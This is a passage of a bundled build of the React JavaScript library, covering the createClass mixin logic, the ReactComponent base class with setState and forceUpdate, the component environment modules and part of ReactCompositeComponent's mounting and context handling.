RESERVED_SPEC_KEYS;\n    !!isReserved ? \"development\" !== 'production' ? invariant(false, 'ReactClass: You are attempting to define a reserved ' + 'property, `%s`, that shouldn\\'t be on the \"statics\" key. Define it ' + 'as an instance property instead; it will still be accessible on the ' + 'constructor.', name) : invariant(false) : void 0;\n\n    var isInherited = name in Constructor;\n    !!isInherited ? \"development\" !== 'production' ? invariant(false, 'ReactClass: You are attempting to define ' + '`%s` on your component more than once. This conflict may be ' + 'due to a mixin.', name) : invariant(false) : void 0;\n    Constructor[name] = property;\n  }\n}\n\n/**\n * Merge two objects, but throw if both contain the same key.\n *\n * @param {object} one The first object, which is mutated.\n * @param {object} two The second object\n * @return {object} one after it has been mutated to contain everything in two.\n */\nfunction mergeIntoWithNoDuplicateKeys(one, two) {\n  !(one && two && typeof one === 'object' && typeof two === 'object') ? \"development\" !== 'production' ? invariant(false, 'mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects.') : invariant(false) : void 0;\n\n  for (var key in two) {\n    if (two.hasOwnProperty(key)) {\n      !(one[key] === undefined) ? \"development\" !== 'production' ? invariant(false, 'mergeIntoWithNoDuplicateKeys(): ' + 'Tried to merge two objects with the same key: `%s`. This conflict ' + 'may be due to a mixin; in particular, this may be caused by two ' + 'getInitialState() or getDefaultProps() methods returning objects ' + 'with clashing keys.', key) : invariant(false) : void 0;\n      one[key] = two[key];\n    }\n  }\n  return one;\n}\n\n/**\n * Creates a function that invokes two functions and merges their return values.\n *\n * @param {function} one Function to invoke first.\n * @param {function} two Function to invoke second.\n * @return {function} Function that invokes the two argument functions.\n * @private\n */\nfunction createMergedResultFunction(one, two) {\n  return function mergedResult() {\n    var a = one.apply(this, arguments);\n    var b = two.apply(this, arguments);\n    if (a == null) {\n      return b;\n    } else if (b == null) {\n      return a;\n    }\n    var c = {};\n    mergeIntoWithNoDuplicateKeys(c, a);\n    mergeIntoWithNoDuplicateKeys(c, b);\n    return c;\n  };\n}\n\n/**\n * Creates a function that invokes two functions and ignores their return vales.\n *\n * @param {function} one Function to invoke first.\n * @param {function} two Function to invoke second.\n * @return {function} Function that invokes the two argument functions.\n * @private\n */\nfunction createChainedFunction(one, two) {\n  return function chainedFunction() {\n    one.apply(this, arguments);\n    two.apply(this, arguments);\n  };\n}\n\n/**\n * Binds a method to the component.\n *\n * @param {object} component Component whose method is going to be bound.\n * @param {function} method Method to be bound.\n * @return {function} The bound method.\n */\nfunction bindAutoBindMethod(component, method) {\n  var boundMethod = method.bind(component);\n  if (\"development\" !== 'production') {\n    boundMethod.__reactBoundContext = component;\n    boundMethod.__reactBoundMethod = method;\n    boundMethod.__reactBoundArguments = null;\n    var componentName = component.constructor.displayName;\n    var _bind = boundMethod.bind;\n    boundMethod.bind = function (newThis) {\n      for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n        args[_key - 1] = arguments[_key];\n      }\n\n      // User is trying to bind() an autobound method; we effectively will\n      // ignore the value of \"this\" that the user is trying to use, so\n      // let's warn.\n      if (newThis !== component && newThis !== null) {\n        \"development\" !== 'production' ? warning(false, 'bind(): React component methods may only be bound to the ' + 'component instance. See %s', componentName) : void 0;\n      } else if (!args.length) {\n        \"development\" !== 'production' ? warning(false, 'bind(): You are binding a component method to the component. ' + 'React does this for you automatically in a high-performance ' + 'way, so you can safely remove this call. See %s', componentName) : void 0;\n        return boundMethod;\n      }\n      var reboundMethod = _bind.apply(boundMethod, arguments);\n      reboundMethod.__reactBoundContext = component;\n      reboundMethod.__reactBoundMethod = method;\n      reboundMethod.__reactBoundArguments = args;\n      return reboundMethod;\n    };\n  }\n  return boundMethod;\n}\n\n/**\n * Binds all auto-bound methods in a component.\n *\n * @param {object} component Component whose method is going to be bound.\n */\nfunction bindAutoBindMethods(component) {\n  var pairs = component.__reactAutoBindPairs;\n  for (var i = 0; i < pairs.length; i += 2) {\n    var autoBindKey = pairs[i];\n    var method = pairs[i + 1];\n    component[autoBindKey] = bindAutoBindMethod(component, method);\n  }\n}\n\n/**\n * Add more to the ReactClass base class. These are all legacy features and\n * therefore not already part of the modern ReactComponent.\n */\nvar ReactClassMixin = {\n\n  /**\n   * TODO: This will be deprecated because state should always keep a consistent\n   * type signature and the only use case for this, is to avoid that.\n   */\n  replaceState: function (newState, callback) {\n    this.updater.enqueueReplaceState(this, newState);\n    if (callback) {\n      this.updater.enqueueCallback(this, callback, 'replaceState');\n    }\n  },\n\n  /**\n   * Checks whether or not this composite component is mounted.\n   * @return {boolean} True if mounted, false otherwise.\n   * @protected\n   * @final\n   */\n  isMounted: function () {\n    return this.updater.isMounted(this);\n  }\n};\n\nvar ReactClassComponent = function () {};\n_assign(ReactClassComponent.prototype, ReactComponent.prototype, ReactClassMixin);\n\n/**\n * Module for creating composite components.\n *\n * @class ReactClass\n */\nvar ReactClass = {\n\n  /**\n   * Creates a composite component class given a class specification.\n   *\n   * @param {object} spec Class specification (which must define `render`).\n   * @return {function} Component constructor function.\n   * @public\n   */\n  createClass: function (spec) {\n    var Constructor = function (props, context, updater) {\n      // This constructor gets overridden by mocks. The argument is used\n      // by mocks to assert on what gets mounted.\n\n      if (\"development\" !== 'production') {\n        \"development\" !== 'production' ? warning(this instanceof Constructor, 'Something is calling a React component directly. Use a factory or ' + 'JSX instead. See: https://fb.me/react-legacyfactory') : void 0;\n      }\n\n      // Wire up auto-binding\n      if (this.__reactAutoBindPairs.length) {\n        bindAutoBindMethods(this);\n      }\n\n      this.props = props;\n      this.context = context;\n      this.refs = emptyObject;\n      this.updater = updater || ReactNoopUpdateQueue;\n\n      this.state = null;\n\n      // ReactClasses doesn't have constructors. Instead, they use the\n      // getInitialState and componentWillMount methods for initialization.\n\n      var initialState = this.getInitialState ? this.getInitialState() : null;\n      if (\"development\" !== 'production') {\n        // We allow auto-mocks to proceed as if they're returning null.\n        if (initialState === undefined && this.getInitialState._isMockFunction) {\n          // This is probably bad practice. Consider warning here and\n          // deprecating this convenience.\n          initialState = null;\n        }\n      }\n      !(typeof initialState === 'object' && !Array.isArray(initialState)) ? \"development\" !== 'production' ? invariant(false, '%s.getInitialState(): must return an object or null', Constructor.displayName || 'ReactCompositeComponent') : invariant(false) : void 0;\n\n      this.state = initialState;\n    };\n    Constructor.prototype = new ReactClassComponent();\n    Constructor.prototype.constructor = Constructor;\n    Constructor.prototype.__reactAutoBindPairs = [];\n\n    injectedMixins.forEach(mixSpecIntoComponent.bind(null, Constructor));\n\n    mixSpecIntoComponent(Constructor, spec);\n\n    // Initialize the defaultProps property after all mixins have been merged.\n    if (Constructor.getDefaultProps) {\n      Constructor.defaultProps = Constructor.getDefaultProps();\n    }\n\n    if (\"development\" !== 'production') {\n      // This is a tag to indicate that the use of these method names is ok,\n      // since it's used with createClass. If it's not, then it's likely a\n      // mistake so we'll warn you to use the static property, property\n      // initializer or constructor respectively.\n      if (Constructor.getDefaultProps) {\n        Constructor.getDefaultProps.isReactClassApproved = {};\n      }\n      if (Constructor.prototype.getInitialState) {\n        Constructor.prototype.getInitialState.isReactClassApproved = {};\n      }\n    }\n\n    !Constructor.prototype.render ? \"development\" !== 'production' ? invariant(false, 'createClass(...): Class specification must implement a `render` method.') : invariant(false) : void 0;\n\n    if (\"development\" !== 'production') {\n      \"development\" !== 'production' ? warning(!Constructor.prototype.componentShouldUpdate, '%s has a method called ' + 'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' + 'The name is phrased as a question because the function is ' + 'expected to return a value.', spec.displayName || 'A component') : void 0;\n      \"development\" !== 'production' ? warning(!Constructor.prototype.componentWillRecieveProps, '%s has a method called ' + 'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?', spec.displayName || 'A component') : void 0;\n    }\n\n    // Reduce time spent doing lookups by setting these on the prototype.\n    for (var methodName in ReactClassInterface) {\n      if (!Constructor.prototype[methodName]) {\n        Constructor.prototype[methodName] = null;\n      }\n    }\n\n    return Constructor;\n  },\n\n  injection: {\n    injectMixin: function (mixin) {\n      injectedMixins.push(mixin);\n    }\n  }\n\n};\n\nmodule.exports = ReactClass;\n},{\"151\":151,\"158\":158,\"161\":161,\"162\":162,\"168\":168,\"169\":169,\"31\":31,\"62\":62,\"80\":80,\"83\":83,\"84\":84}],31:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactComponent\n */\n\n'use strict';\n\nvar ReactNoopUpdateQueue = _dereq_(80);\nvar ReactInstrumentation = _dereq_(72);\n\nvar canDefineProperty = _dereq_(116);\nvar emptyObject = _dereq_(151);\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\n/**\n * Base class helpers for the updating state of a component.\n */\nfunction ReactComponent(props, context, updater) {\n  this.props = props;\n  this.context = context;\n  this.refs = emptyObject;\n  // We initialize the default updater but the real one gets injected by the\n  // renderer.\n  this.updater = updater || ReactNoopUpdateQueue;\n}\n\nReactComponent.prototype.isReactComponent = {};\n\n/**\n * Sets a subset of the state. Always use this to mutate\n * state. You should treat `this.state` as immutable.\n *\n * There is no guarantee that `this.state` will be immediately updated, so\n * accessing `this.state` after calling this method may return the old value.\n *\n * There is no guarantee that calls to `setState` will run synchronously,\n * as they may eventually be batched together.  You can provide an optional\n * callback that will be executed when the call to setState is actually\n * completed.\n *\n * When a function is provided to setState, it will be called at some point in\n * the future (not synchronously). It will be called with the up to date\n * component arguments (state, props, context). These values can be different\n * from this.* because your function may be called after receiveProps but before\n * shouldComponentUpdate, and this new state, props, and context will not yet be\n * assigned to this.\n *\n * @param {object|function} partialState Next partial state or function to\n *        produce next partial state to be merged with current state.\n * @param {?function} callback Called after state is updated.\n * @final\n * @protected\n */\nReactComponent.prototype.setState = function (partialState, callback) {\n  !(typeof partialState === 'object' || typeof partialState === 'function' || partialState == null) ? \"development\" !== 'production' ? invariant(false, 'setState(...): takes an object of state variables to update or a ' + 'function which returns an object of state variables.') : invariant(false) : void 0;\n  if (\"development\" !== 'production') {\n    ReactInstrumentation.debugTool.onSetState();\n    \"development\" !== 'production' ? warning(partialState != null, 'setState(...): You passed an undefined or null state object; ' + 'instead, use forceUpdate().') : void 0;\n  }\n  this.updater.enqueueSetState(this, partialState);\n  if (callback) {\n    this.updater.enqueueCallback(this, callback, 'setState');\n  }\n};\n\n/**\n * Forces an update. This should only be invoked when it is known with\n * certainty that we are **not** in a DOM transaction.\n *\n * You may want to call this when you know that some deeper aspect of the\n * component's state has changed but `setState` was not called.\n *\n * This will not invoke `shouldComponentUpdate`, but it will invoke\n * `componentWillUpdate` and `componentDidUpdate`.\n *\n * @param {?function} callback Called after update is complete.\n * @final\n * @protected\n */\nReactComponent.prototype.forceUpdate = function (callback) {\n  this.updater.enqueueForceUpdate(this);\n  if (callback) {\n    this.updater.enqueueCallback(this, callback, 'forceUpdate');\n  }\n};\n\n/**\n * Deprecated APIs. These APIs used to exist on classic React classes but since\n * we would like to deprecate them, we're not going to move them over to this\n * modern base class. Instead, we define a getter that warns if it's accessed.\n */\nif (\"development\" !== 'production') {\n  var deprecatedAPIs = {\n    isMounted: ['isMounted', 'Instead, make sure to clean up subscriptions and pending requests in ' + 'componentWillUnmount to prevent memory leaks.'],\n    replaceState: ['replaceState', 'Refactor your code to use setState instead (see ' + 'https://github.com/facebook/react/issues/3236).']\n  };\n  var defineDeprecationWarning = function (methodName, info) {\n    if (canDefineProperty) {\n      Object.defineProperty(ReactComponent.prototype, methodName, {\n        get: function () {\n          \"development\" !== 'production' ? warning(false, '%s(...) is deprecated in plain JavaScript React classes. %s', info[0], info[1]) : void 0;\n          return undefined;\n        }\n      });\n    }\n  };\n  for (var fnName in deprecatedAPIs) {\n    if (deprecatedAPIs.hasOwnProperty(fnName)) {\n      defineDeprecationWarning(fnName, deprecatedAPIs[fnName]);\n    }\n  }\n}\n\nmodule.exports = ReactComponent;\n},{\"116\":116,\"151\":151,\"158\":158,\"168\":168,\"72\":72,\"80\":80}],32:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactComponentBrowserEnvironment\n */\n\n'use strict';\n\nvar DOMChildrenOperations = _dereq_(7);\nvar ReactDOMIDOperations = _dereq_(46);\nvar ReactPerf = _dereq_(82);\n\n/**\n * Abstracts away all functionality of the reconciler that requires knowledge of\n * the browser context. TODO: These callers should be refactored to avoid the\n * need for this injection.\n */\nvar ReactComponentBrowserEnvironment = {\n\n  processChildrenUpdates: ReactDOMIDOperations.dangerouslyProcessChildrenUpdates,\n\n  replaceNodeWithMarkup: DOMChildrenOperations.dangerouslyReplaceNodeWithMarkup,\n\n  /**\n   * If a particular environment requires that some resources be cleaned up,\n   * specify this in the injected Mixin. In the DOM, we would likely want to\n   * purge any cached node ID lookups.\n   *\n   * @private\n   */\n  unmountIDFromEnvironment: function (rootNodeID) {}\n\n};\n\nReactPerf.measureMethods(ReactComponentBrowserEnvironment, 'ReactComponentBrowserEnvironment', {\n  replaceNodeWithMarkup: 'replaceNodeWithMarkup'\n});\n\nmodule.exports = ReactComponentBrowserEnvironment;\n},{\"46\":46,\"7\":7,\"82\":82}],33:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactComponentEnvironment\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\nvar injected = false;\n\nvar ReactComponentEnvironment = {\n\n  /**\n   * Optionally injectable environment dependent cleanup hook. (server vs.\n   * browser etc). Example: A browser system caches DOM nodes based on component\n   * ID and must remove that cache entry when this instance is unmounted.\n   */\n  unmountIDFromEnvironment: null,\n\n  /**\n   * Optionally injectable hook for swapping out mount images in the middle of\n   * the tree.\n   */\n  replaceNodeWithMarkup: null,\n\n  /**\n   * Optionally injectable hook for processing a queue of child updates. Will\n   * later move into MultiChildComponents.\n   */\n  processChildrenUpdates: null,\n\n  injection: {\n    injectEnvironment: function (environment) {\n      !!injected ? \"development\" !== 'production' ? invariant(false, 'ReactCompositeComponent: injectEnvironment() can only be called once.') : invariant(false) : void 0;\n      ReactComponentEnvironment.unmountIDFromEnvironment = environment.unmountIDFromEnvironment;\n      ReactComponentEnvironment.replaceNodeWithMarkup = environment.replaceNodeWithMarkup;\n      ReactComponentEnvironment.processChildrenUpdates = environment.processChildrenUpdates;\n      injected = true;\n    }\n  }\n\n};\n\nmodule.exports = ReactComponentEnvironment;\n},{\"158\":158}],34:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactCompositeComponent\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactComponentEnvironment = _dereq_(33);\nvar ReactCurrentOwner = _dereq_(35);\nvar ReactElement = _dereq_(62);\nvar ReactErrorUtils = _dereq_(65);\nvar ReactInstanceMap = _dereq_(71);\nvar ReactInstrumentation = _dereq_(72);\nvar ReactNodeTypes = _dereq_(79);\nvar ReactPerf = _dereq_(82);\nvar ReactPropTypeLocations = _dereq_(84);\nvar ReactPropTypeLocationNames = _dereq_(83);\nvar ReactReconciler = _dereq_(87);\nvar ReactUpdateQueue = _dereq_(93);\n\nvar emptyObject = _dereq_(151);\nvar invariant = _dereq_(158);\nvar shouldUpdateReactComponent = _dereq_(140);\nvar warning = _dereq_(168);\n\nfunction getDeclarationErrorAddendum(component) {\n  var owner = component._currentElement._owner || null;\n  if (owner) {\n    var name = owner.getName();\n    if (name) {\n      return ' Check the render method of `' + name + '`.';\n    }\n  }\n  return '';\n}\n\nfunction StatelessComponent(Component) {}\nStatelessComponent.prototype.render = function () {\n  var Component = ReactInstanceMap.get(this)._currentElement.type;\n  var element = Component(this.props, this.context, this.updater);\n  warnIfInvalidElement(Component, element);\n  return element;\n};\n\nfunction warnIfInvalidElement(Component, element) {\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(element === null || element === false || ReactElement.isValidElement(element), '%s(...): A valid React element (or null) must be returned. You may have ' + 'returned undefined, an array or some other invalid object.', Component.displayName || Component.name || 'Component') : void 0;\n  }\n}\n\nfunction shouldConstruct(Component) {\n  return Component.prototype && Component.prototype.isReactComponent;\n}\n\n/**\n * ------------------ The Life-Cycle of a Composite Component ------------------\n *\n * - constructor: Initialization of state. The instance is now retained.\n *   - componentWillMount\n *   - render\n *   - [children's constructors]\n *     - [children's componentWillMount and render]\n *     - [children's componentDidMount]\n *     - componentDidMount\n *\n *       Update Phases:\n *       - componentWillReceiveProps (only called if parent updated)\n *       - shouldComponentUpdate\n *         - componentWillUpdate\n *           - render\n *           - [children's constructors or receive props phases]\n *         - componentDidUpdate\n *\n *     - componentWillUnmount\n *     - [children's componentWillUnmount]\n *   - [children destroyed]\n * - (destroyed): The instance is now blank, released by React and ready for GC.\n *\n * -----------------------------------------------------------------------------\n */\n\n/**\n * An incrementing ID assigned to each component when it is mounted. This is\n * used to enforce the order in which `ReactUpdates` updates dirty components.\n *\n * @private\n */\nvar nextMountID = 1;\n\n/**\n * @lends {ReactCompositeComponent.prototype}\n */\nvar ReactCompositeComponentMixin = {\n\n  /**\n   * Base constructor for all composite component.\n   *\n   * @param {ReactElement} element\n   * @final\n   * @internal\n   */\n  construct: function (element) {\n    this._currentElement = element;\n    this._rootNodeID = null;\n    this._instance = null;\n    this._nativeParent = null;\n    this._nativeContainerInfo = null;\n\n    // See ReactUpdateQueue\n    this._pendingElement = null;\n    this._pendingStateQueue = null;\n    this._pendingReplaceState = false;\n    this._pendingForceUpdate = false;\n\n    this._renderedNodeType = null;\n    this._renderedComponent = null;\n    this._context = null;\n    this._mountOrder = 0;\n    this._topLevelWrapper = null;\n\n    // See ReactUpdates and ReactUpdateQueue.\n    this._pendingCallbacks = null;\n\n    // ComponentWillUnmount shall only be called once\n    this._calledComponentWillUnmount = false;\n  },\n\n  /**\n   * Initializes the component, renders markup, and registers event listeners.\n   *\n   * @param {ReactReconcileTransaction|ReactServerRenderingTransaction} transaction\n   * @param {?object} nativeParent\n   * @param {?object} nativeContainerInfo\n   * @param {?object} context\n   * @return {?string} Rendered markup to be inserted into the DOM.\n   * @final\n   * @internal\n   */\n  mountComponent: function (transaction, nativeParent, nativeContainerInfo, context) {\n    this._context = context;\n    this._mountOrder = nextMountID++;\n    this._nativeParent = nativeParent;\n    this._nativeContainerInfo = nativeContainerInfo;\n\n    var publicProps = this._processProps(this._currentElement.props);\n    var publicContext = this._processContext(context);\n\n    var Component = this._currentElement.type;\n\n    // Initialize the public class\n    var inst = this._constructComponent(publicProps, publicContext);\n    var renderedElement;\n\n    // Support functional components\n    if (!shouldConstruct(Component) && (inst == null || inst.render == null)) {\n      renderedElement = inst;\n      warnIfInvalidElement(Component, renderedElement);\n      !(inst === null || inst === false || ReactElement.isValidElement(inst)) ? \"development\" !== 'production' ? invariant(false, '%s(...): A valid React element (or null) must be returned. You may have ' + 'returned undefined, an array or some other invalid object.', Component.displayName || Component.name || 'Component') : invariant(false) : void 0;\n      inst = new StatelessComponent(Component);\n    }\n\n    if (\"development\" !== 'production') {\n      // This will throw later in _renderValidatedComponent, but add an early\n      // warning now to help debugging\n      if (inst.render == null) {\n        \"development\" !== 'production' ? warning(false, '%s(...): No `render` method found on the returned component ' + 'instance: you may have forgotten to define `render`.', Component.displayName || Component.name || 'Component') : void 0;\n      }\n\n      var propsMutated = inst.props !== publicProps;\n      var componentName = Component.displayName || Component.name || 'Component';\n\n      \"development\" !== 'production' ? warning(inst.props === undefined || !propsMutated, '%s(...): When calling super() in `%s`, make sure to pass ' + 'up the same props that your component\\'s constructor was passed.', componentName, componentName) : void 0;\n    }\n\n    // These should be set up in the constructor, but as a convenience for\n    // simpler class abstractions, we set them up after the fact.\n    inst.props = publicProps;\n    inst.context = publicContext;\n    inst.refs = emptyObject;\n    inst.updater = ReactUpdateQueue;\n\n    this._instance = inst;\n\n    // Store a reference from the instance back to the internal representation\n    ReactInstanceMap.set(inst, this);\n\n    if (\"development\" !== 'production') {\n      // Since plain JS classes are defined without any special initialization\n      // logic, we can not catch common errors early. Therefore, we have to\n      // catch them here, at initialization time, instead.\n      \"development\" !== 'production' ? warning(!inst.getInitialState || inst.getInitialState.isReactClassApproved, 'getInitialState was defined on %s, a plain JavaScript class. ' + 'This is only supported for classes created using React.createClass. ' + 'Did you mean to define a state property instead?', this.getName() || 'a component') : void 0;\n      \"development\" !== 'production' ? warning(!inst.getDefaultProps || inst.getDefaultProps.isReactClassApproved, 'getDefaultProps was defined on %s, a plain JavaScript class. ' + 'This is only supported for classes created using React.createClass. ' + 'Use a static property to define defaultProps instead.', this.getName() || 'a component') : void 0;\n      \"development\" !== 'production' ? warning(!inst.propTypes, 'propTypes was defined as an instance property on %s. Use a static ' + 'property to define propTypes instead.', this.getName() || 'a component') : void 0;\n      \"development\" !== 'production' ? warning(!inst.contextTypes, 'contextTypes was defined as an instance property on %s. Use a ' + 'static property to define contextTypes instead.', this.getName() || 'a component') : void 0;\n      \"development\" !== 'production' ? warning(typeof inst.componentShouldUpdate !== 'function', '%s has a method called ' + 'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' + 'The name is phrased as a question because the function is ' + 'expected to return a value.', this.getName() || 'A component') : void 0;\n      \"development\" !== 'production' ? warning(typeof inst.componentDidUnmount !== 'function', '%s has a method called ' + 'componentDidUnmount(). But there is no such lifecycle method. ' + 'Did you mean componentWillUnmount()?', this.getName() || 'A component') : void 0;\n      \"development\" !== 'production' ? warning(typeof inst.componentWillRecieveProps !== 'function', '%s has a method called ' + 'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?', this.getName() || 'A component') : void 0;\n    }\n\n    var initialState = inst.state;\n    if (initialState === undefined) {\n      inst.state = initialState = null;\n    }\n    !(typeof initialState === 'object' && !Array.isArray(initialState)) ? \"development\" !== 'production' ? invariant(false, '%s.state: must be set to an object or null', this.getName() || 'ReactCompositeComponent') : invariant(false) : void 0;\n\n    this._pendingStateQueue = null;\n    this._pendingReplaceState = false;\n    this._pendingForceUpdate = false;\n\n    var markup;\n    if (inst.unstable_handleError) {\n      markup = this.performInitialMountWithErrorHandling(renderedElement, nativeParent, nativeContainerInfo, transaction, context);\n    } else {\n      markup = this.performInitialMount(renderedElement, nativeParent, nativeContainerInfo, transaction, context);\n    }\n\n    if (inst.componentDidMount) {\n      transaction.getReactMountReady().enqueue(inst.componentDidMount, inst);\n    }\n\n    return markup;\n  },\n\n  _constructComponent: function (publicProps, publicContext) {\n    if (\"development\" !== 'production') {\n      ReactCurrentOwner.current = this;\n      try {\n        return this._constructComponentWithoutOwner(publicProps, publicContext);\n      } finally {\n        ReactCurrentOwner.current = null;\n      }\n    } else {\n      return this._constructComponentWithoutOwner(publicProps, publicContext);\n    }\n  },\n\n  _constructComponentWithoutOwner: function (publicProps, publicContext) {\n    var Component = this._currentElement.type;\n    if (shouldConstruct(Component)) {\n      return new Component(publicProps, publicContext, ReactUpdateQueue);\n    } else {\n      return Component(publicProps, publicContext, ReactUpdateQueue);\n    }\n  },\n\n  performInitialMountWithErrorHandling: function (renderedElement, nativeParent, nativeContainerInfo, transaction, context) {\n    var markup;\n    var checkpoint = transaction.checkpoint();\n    try {\n      markup = this.performInitialMount(renderedElement, nativeParent, nativeContainerInfo, transaction, context);\n    } catch (e) {\n      // Roll back to checkpoint, handle error (which may add items to the transaction), and take a new checkpoint\n      transaction.rollback(checkpoint);\n      this._instance.unstable_handleError(e);\n      if (this._pendingStateQueue) {\n        this._instance.state = this._processPendingState(this._instance.props, this._instance.context);\n      }\n      checkpoint = transaction.checkpoint();\n\n      this._renderedComponent.unmountComponent(true);\n      transaction.rollback(checkpoint);\n\n      // Try again - we've informed the component about the error, so they can render an error message this time.\n      // If this throws again, the error will bubble up (and can be caught by a higher error boundary).\n      markup = this.performInitialMount(renderedElement, nativeParent, nativeContainerInfo, transaction, context);\n    }\n    return markup;\n  },\n\n  performInitialMount: function (renderedElement, nativeParent, nativeContainerInfo, transaction, context) {\n    var inst = this._instance;\n    if (inst.componentWillMount) {\n      inst.componentWillMount();\n      // When mounting, calls to `setState` by `componentWillMount` will set\n      // `this._pendingStateQueue` without triggering a re-render.\n      if (this._pendingStateQueue) {\n        inst.state = this._processPendingState(inst.props, inst.context);\n      }\n    }\n\n    // If not a stateless component, we now render\n    if (renderedElement === undefined) {\n      renderedElement = this._renderValidatedComponent();\n    }\n\n    this._renderedNodeType = ReactNodeTypes.getType(renderedElement);\n    this._renderedComponent = this._instantiateReactComponent(renderedElement);\n\n    var markup = ReactReconciler.mountComponent(this._renderedComponent, transaction, nativeParent, nativeContainerInfo, this._processChildContext(context));\n\n    return markup;\n  },\n\n  getNativeNode: function () {\n    return ReactReconciler.getNativeNode(this._renderedComponent);\n  },\n\n  /**\n   * Releases any resources allocated by `mountComponent`.\n   *\n   * @final\n   * @internal\n   */\n  unmountComponent: function (safely) {\n    if (!this._renderedComponent) {\n      return;\n    }\n    var inst = this._instance;\n\n    if (inst.componentWillUnmount && !inst._calledComponentWillUnmount) {\n      inst._calledComponentWillUnmount = true;\n      if (safely) {\n        var name = this.getName() + '.componentWillUnmount()';\n        ReactErrorUtils.invokeGuardedCallback(name, inst.componentWillUnmount.bind(inst));\n      } else {\n        inst.componentWillUnmount();\n      }\n    }\n\n    if (this._renderedComponent) {\n      ReactReconciler.unmountComponent(this._renderedComponent, safely);\n      this._renderedNodeType = null;\n      this._renderedComponent = null;\n      this._instance = null;\n    }\n\n    // Reset pending fields\n    // Even if this component is scheduled for another update in ReactUpdates,\n    // it would still be ignored because these fields are reset.\n    this._pendingStateQueue = null;\n    this._pendingReplaceState = false;\n    this._pendingForceUpdate = false;\n    this._pendingCallbacks = null;\n    this._pendingElement = null;\n\n    // These fields do not really need to be reset since this object is no\n    // longer accessible.\n    this._context = null;\n    this._rootNodeID = null;\n    this._topLevelWrapper = null;\n\n    // Delete the reference from the instance to this internal representation\n    // which allow the internals to be properly cleaned up even if the user\n    // leaks a reference to the public instance.\n    ReactInstanceMap.remove(inst);\n\n    // Some existing components rely on inst.props even after they've been\n    // destroyed (in event handlers).\n    // TODO: inst.props = null;\n    // TODO: inst.state = null;\n    // TODO: inst.context = null;\n  },\n\n  /**\n   * Filters the context object to only contain keys specified in\n   * `contextTypes`\n   *\n   * @param {object} context\n   * @return {?object}\n   * @private\n   */\n  _maskContext: function (context) {\n    var Component = this._currentElement.type;\n    var contextTypes = Component.contextTypes;\n    if (!contextTypes) {\n      return emptyObject;\n    }\n    var maskedContext = {};\n    for (var contextName in contextTypes) {\n      maskedContext[contextName] = context[contextName];\n    }\n    return maskedContext;\n  },\n\n  /**\n   * Filters the context object to only contain keys specified in\n   * `contextTypes`, and asserts that they are valid.\n   *\n   * @param {object} context\n   * @return {?object}\n   * @private\n   */\n  _processContext: function (context) {\n    var maskedContext = this._maskContext(context);\n    if (\"development\" !== 'production') {\n      var Component = this._currentElement.type;\n      if (Component.contextTypes) {\n        this._checkPropTypes(Component.contextTypes, maskedContext, ReactPropTypeLocations.context);\n      }\n    }\n    return maskedContext;\n  },\n\n  /**\n   * @param {object} currentContext\n   * @return {object}\n   * @private\n   */\n  _processChildContext: function (currentContext) {\n    var Component = this._currentElement.type;\n    var inst = this._instance;\n    if (\"development\" !== 'production') {\n      ReactInstrumentation.debugTool.onBeginProcessingChildContext();\n    }\n    var childContext = inst.getChildContext && inst.getChildContext();\n    if (\"development\" !== 'production') {\n      ReactInstrumentation.debugTool.onEndProcessingChildContext();\n    }\n    if (childContext) {\n      !(typeof Component.childContextTypes === 'object') ? \"development\" !== 'production' ? invariant(false, '%s.getChildContext(): childContextTypes must be defined in order to ' + 'use getChildContext().', this.getName() || 'ReactCompositeComponent') : invariant(false) : void 0;\n      if (\"development\" !== 'production') {\n        this._checkPropTypes(Component.childContextTypes, childContext, ReactPropTypeLocations.childContext);\n      }\n      for (var name in childContext) {\n        !(name in Component.childContextTypes) ? \"development\" !== 'production' ? invariant(false, '%s.getChildContext(): key \"%s\" is not defined in childContextTypes.', this.getName() || 'ReactCompositeComponent', name) : invariant(false) : void 0;\n      }\n      return _assign({}, currentContext, childContext);\n    }\n    return currentContext;\n  },\n\n  /**\n   * Processes props by setting default values for unspecified props and\n   * asserting that the props are valid. Does not mutate its argument; returns\n   * a new props object with defaults merged in.\n   *\n   * @param {object} newProps\n   * @return {object}\n   * @private\n   */\n  _processProps: function (newProps) {\n    if (\"development\" !== 'production') {\n      var Component = this._currentElement.type;\n      if (Component.propTypes) {\n        this._checkPropTypes(Component.propTypes, newProps, ReactPropTypeLocations.prop);\n      }\n    }\n    return newProps;\n  },\n\n  /**\n   * Assert that the props are valid\n   *\n   * @param {object} propTypes Map of prop name to a ReactPropType\n   * @param {object} props\n   * @param {string} location e.g. \"prop\", \"context\", \"child context\"\n   * @private\n   */\n  _checkPropTypes: function (propTypes, props, location) {\n    // TODO: Stop validating prop types here and only use the element\n    // validation.\n    var componentName = this.getName();\n    for (var propName in propTypes) {\n      if (propTypes.hasOwnProperty(propName)) {\n        var error;\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          !(typeof propTypes[propName] === 'function') ? 